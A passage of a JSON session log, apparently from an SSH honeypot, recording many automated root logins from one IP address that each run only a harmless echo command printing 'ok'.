  "ended_at": "2026-08-23T09:35:45.992541+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d687fbd0-33f1-41f0-9241-7102f2bf4aa6",
  "name": "vivid-jagged-wagtail",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:41.642459+00:00",
  "ended_at": "2026-08-23T09:35:43.796040+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "caf16b7b-9cb8-454f-aa44-a663ed26f608",
  "name": "gentle-tangled-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 37384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:38.871594+00:00",
  "ended_at": "2026-08-23T09:35:40.913091+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0417267a-d0c0-4bda-82ff-f09a4a9d2cbb",
  "name": "autumn-wooded-avocet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:36.053397+00:00",
  "ended_at": "2026-08-23T09:35:38.123309+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "134f2e35-0312-449e-851a-80ed620ceccf",
  "name": "humble-fringed-hornbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36462,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:33.903710+00:00",
  "ended_at": "2026-08-23T09:35:35.243917+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f01ee2c8-38ad-46bc-83bc-15793ddc0a94",
  "name": "freckled-rugged-hummingbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36454,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:32.133088+00:00",
  "ended_at": "2026-08-23T09:35:33.174502+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "bdbc691f-4321-4aef-8a28-2e37d8ff9088",
  "name": "prairie-foggy-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 36450,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:30.057590+00:00",
  "ended_at": "2026-08-23T09:35:31.327946+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "83ce1d04-61b2-48bb-a189-94042c1d8013",
  "name": "solar-bitter-warbler",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60248,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:27.108138+00:00",
  "ended_at": "2026-08-23T09:35:29.290115+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9de4d952-71f8-4023-b13e-e34f198c7f78",
  "name": "misty-drifting-bunting",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60236,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:24.517505+00:00",
  "ended_at": "2026-08-23T09:35:26.417292+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "658c33eb-2186-4f07-a8b9-eb0331909a7d",
  "name": "curious-vivid-nuthatch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60230,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:22.598335+00:00",
  "ended_at": "2026-08-23T09:35:23.766161+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1fa90e3d-abdd-4262-997c-3245388e8571",
  "name": "stormy-tawny-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60216,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:20.811271+00:00",
  "ended_at": "2026-08-23T09:35:21.751512+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "6a893ece-9d5c-4a29-aa06-30809b8d6ffa",
  "name": "feral-seaward-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 60208,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:18.704145+00:00",
  "ended_at": "2026-08-23T09:35:20.032924+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "06a23007-075c-4ed0-81d7-321d8bb134b1",
  "name": "feral-cobalt-seal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52554,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:15.968465+00:00",
  "ended_at": "2026-08-23T09:35:18.082005+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1f3ee182-b34b-4ac7-95f9-a18acd93fb01",
  "name": "inland-sleepy-stoat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52548,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:13.011305+00:00",
  "ended_at": "2026-08-23T09:35:15.215855+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8558728e-11f9-49cc-a069-448d6d36ed25",
  "name": "hazel-vigilant-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 52542,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:10.536696+00:00",
  "ended_at": "2026-08-23T09:35:12.282394+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2142cfa7-f89b-48a6-88c0-5d5bc5cd8f78",
  "name": "placid-diligent-bushbaby",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50718,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:08.692303+00:00",
  "ended_at": "2026-08-23T09:35:09.894024+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e0035a2a-1ccc-4766-8fe1-a466a8155a3a",
  "name": "pristine-glassy-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50716,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:06.836786+00:00",
  "ended_at": "2026-08-23T09:35:07.867743+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "942cda87-f799-4f4b-bf3f-861cd554d8bb",
  "name": "civil-wiry-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50706,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:04.408341+00:00",
  "ended_at": "2026-08-23T09:35:06.058499+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "0bfaf29c-63cc-4ca3-b631-2c1343e56787",
  "name": "genial-muted-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50702,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:02.370222+00:00",
  "ended_at": "2026-08-23T09:35:03.606908+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "33b97219-4707-4958-8ee2-f648dd2faa32",
  "name": "prairie-gallant-lynx",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50700,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:35:00.663495+00:00",
  "ended_at": "2026-08-23T09:35:01.640847+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "12b1cc50-873b-4e83-9c47-5efb89b13722",
  "name": "somber-hazel-jackal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47352,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:58.757328+00:00",
  "ended_at": "2026-08-23T09:34:59.894015+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "329ba3de-aa98-4509-90ba-78db957e8084",
  "name": "hardy-smoky-fennec",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47334,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:56.792715+00:00",
  "ended_at": "2026-08-23T09:34:57.989184+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "cbc0006c-1f0c-47b7-b2e2-25d88b2f9d3f",
  "name": "daring-brave-pochard",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47322,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:54.422851+00:00",
  "ended_at": "2026-08-23T09:34:56.131888+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5458e21d-a923-4f85-a5d8-f87ca68a4bd8",
  "name": "blazing-dapper-eider",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47304,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:52.472249+00:00",
  "ended_at": "2026-08-23T09:34:53.634247+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fa48c63a-3128-4c23-bb59-102063f6e605",
  "name": "drifting-cosmic-capuchin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 47292,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:49.865471+00:00",
  "ended_at": "2026-08-23T09:34:51.759615+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "67282600-9910-4f73-b1d9-31d3a6e97441",
  "name": "marbled-mossy-ptarmigan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34070,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:46.768214+00:00",
  "ended_at": "2026-08-23T09:34:49.021612+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8af298ff-bcc1-48dd-8bd0-cff910e9b0c2",
  "name": "upland-reedy-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:43.872146+00:00",
  "ended_at": "2026-08-23T09:34:46.044470+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2c814434-359e-488d-9a38-ba2bafd79e8d",
  "name": "solar-reedy-brambling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34050,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:41.262960+00:00",
  "ended_at": "2026-08-23T09:34:43.155375+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "2d967144-b636-4d13-94bd-183f156cb544",
  "name": "woven-ruddy-dingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 34048,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:39.012444+00:00",
  "ended_at": "2026-08-23T09:34:40.583292+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "e3bd2c65-a0c0-499b-a845-132ac9e40d33",
  "name": "cheerful-proud-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58062,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:36.644843+00:00",
  "ended_at": "2026-08-23T09:34:38.241363+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "f026c96b-5c22-4435-a4f5-104075917a2d",
  "name": "fearless-indigo-toucan",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58048,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:34.983201+00:00",
  "ended_at": "2026-08-23T09:34:35.931387+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "a8c445c7-0b6b-46f9-aa6a-4e7466b1ed7a",
  "name": "burly-gallant-cardinal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 58046,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:29.865193+00:00",
  "ended_at": "2026-08-23T09:34:34.139237+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "96d1a754-1889-44b4-845d-6a287046273b",
  "name": "thrifty-mottled-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57134,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:27.369770+00:00",
  "ended_at": "2026-08-23T09:34:29.194176+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "68cb98b9-f8c3-4ba6-abe0-c1dd6de2590e",
  "name": "grassy-wry-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57122,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:24.472079+00:00",
  "ended_at": "2026-08-23T09:34:26.582908+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "94244888-34ae-4e45-a2d2-d720b973b5de",
  "name": "gilded-airy-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57106,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:22.423153+00:00",
  "ended_at": "2026-08-23T09:34:23.749731+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "3cbf0a6e-ea6a-4cf1-bcd4-cf120dc8bdd9",
  "name": "courtly-snowy-guanaco",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:20.671554+00:00",
  "ended_at": "2026-08-23T09:34:21.738915+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "d9a51fe5-0f9d-490f-ba05-9a3fcd2df024",
  "name": "breezy-jagged-coyote",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 57098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:18.909900+00:00",
  "ended_at": "2026-08-23T09:34:19.861958+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "16619735-e1fd-495a-8e25-e09d55f4beb7",
  "name": "candid-daring-okapi",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43810,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:16.172121+00:00",
  "ended_at": "2026-08-23T09:34:18.079714+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "9822debf-2356-401a-8d22-04b1ef60f0ad",
  "name": "whispering-knotted-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43802,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:13.298152+00:00",
  "ended_at": "2026-08-23T09:34:15.472815+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "8d4669d7-ae6b-4f46-831e-cc20d6ff377c",
  "name": "lunar-fickle-ouzel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 43788,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:11.224431+00:00",
  "ended_at": "2026-08-23T09:34:12.551054+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "1663622b-b2c7-4461-9808-731c4aaa9470",
  "name": "jagged-dewy-condor",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 55002,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:08.693420+00:00",
  "ended_at": "2026-08-23T09:34:10.483854+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "744c11d4-21e2-4965-9cf1-8d50c600d7b8",
  "name": "blazing-verdant-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54996,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:06.530608+00:00",
  "ended_at": "2026-08-23T09:34:08.053433+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "85ad5cf1-9c32-4305-b9ae-a312e2eee4b7",
  "name": "somber-hazy-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54990,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:04.371345+00:00",
  "ended_at": "2026-08-23T09:34:05.797172+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "fc0cb6f4-250b-4880-803a-d3e07c1c9d4d",
  "name": "mighty-snowy-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54986,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:34:02.079351+00:00",
  "ended_at": "2026-08-23T09:34:03.713875+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "c329f020-0ba5-4ff5-93f9-44a238f9260e",
  "name": "twilight-mighty-crossbill",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 54972,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:59.227793+00:00",
  "ended_at": "2026-08-23T09:34:01.303739+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "5ed757e1-55c0-42b1-b4fe-56b31375fd74",
  "name": "lawful-foggy-starling",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50670,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:57.510791+00:00",
  "ended_at": "2026-08-23T09:33:58.565331+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "83a7da0b-0a89-4c74-974b-51cd22731f2b",
  "name": "curious-regal-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50658,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:54.892716+00:00",
  "ended_at": "2026-08-23T09:33:56.884115+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "21b82d7e-96b9-4ede-8e73-0230bb18172d",
  "name": "graceful-thawing-teal",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50646,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:53.087226+00:00",
  "ended_at": "2026-08-23T09:33:54.108168+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "7bdaae0d-de7a-4248-9325-6a479918c75c",
  "name": "woven-loyal-mole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50642,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:51.382127+00:00",
  "ended_at": "2026-08-23T09:33:52.432034+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 29
 },
 {
  "id": "15b29ffd-fb03-4c32-b78a-5b50400f1753",
  "name": "opal-jaunty-stonechat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "135.125.29.129",
  "src_port": 50630,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "echo -e \"\\x6F\\x6B\"",
  "started_at": "2026-08-23T09:33:49.660931+00:00",
  "ended_at": "2026-08-23T09:33:50.590197+00:00",
